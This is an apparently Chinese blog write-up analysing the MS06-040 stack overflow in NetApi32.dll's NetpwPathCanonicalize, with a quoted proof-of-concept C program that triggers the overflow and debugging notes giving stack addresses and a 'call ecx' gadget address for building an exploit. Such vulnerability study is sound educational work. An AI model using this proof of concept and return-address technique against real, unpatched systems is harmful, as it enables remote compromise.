• 经典栈溢出之MS060-040漏洞分析


      找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0

    其中的子函数存在溢出:

    汇编代码注释:

    两个溢出点,但是第一个无法利用:

     

    找到一个网上的POC:

    int main()
    {
         char Str[0x320];
    	 char lpWideCharStr[0x440];
    	 int  arg_8 = 0x440;
    	 char Source[0x100];
    	 long arg_10 = 44;
    	 HINSTANCE LibHandle;
    	 MYPROC Func;
    	 char DllName[] = "./netapi32.dll";
    
    	 LibHandle = LoadLibrary(DllName);
    	 if( LibHandle == NULL)
    	 {
    		  MessageBox(0, "Can't Load DLL!", "Warning", 0);
    		  FreeLibrary(LibHandle);
    	 }
    	 Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
    	 if ( Func == NULL )
    	 {
    		  MessageBox(0, "Can't Load Function Address!", "Warning", 0);
    		  FreeLibrary(LibHandle);
    	 }
    	 memset(Source, 0, sizeof(Source));
    	 memset(Source, 'b', sizeof(Source)-2);
    	 memset(Str, 0, sizeof(Str));
    	 memset(Str, 'a', sizeof(Str)-2);
    	 (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
    	 FreeLibrary(LibHandle);
         return 0;
    }

    动态调试:找到函数返回地址被覆盖的位置。

     

    不仅找到了覆盖的返回地址,同时发现ecx指向栈顶

    寻找call ecx硬编码FFD1

    根据搜集到的信息:

    栈空间的起始地址为0012F258

    0x0012F258 bbbbbbbbb

    0x0012F348 bbbbbbbbbbbbbb

    0x0012F358 aaaaaaaaaaaaa

    0x0012F670 xc2x7bx19x75

    0x0012F674 aa

    0x0012F66C ebp

    0x0012F670 返回地址

    call ecx 0x75197bc2

    根据POC编写exp,测试:

  • 相关阅读:
    SQL Server 2005 之事务日志体系 (一)
    SQL Server 2005 事务日志之逻辑结构(二)
    SQL Server 2005 清除备份 还原历史记录
    SQL Server 验证器
    SQL Server 2005 事务日志之物理体系(三)
    程序设计语言原理重要概念
    Java作业四 图形用户界面程序设计和多线程
    Java作业二 面向对象程序设计
    Java作业三 语言基础与面向对象
    Java课程学习总结
  • 原文地址:https://www.cnblogs.com/qiyeboy/p/7521172.html
Copyright © 2020-2023  润新知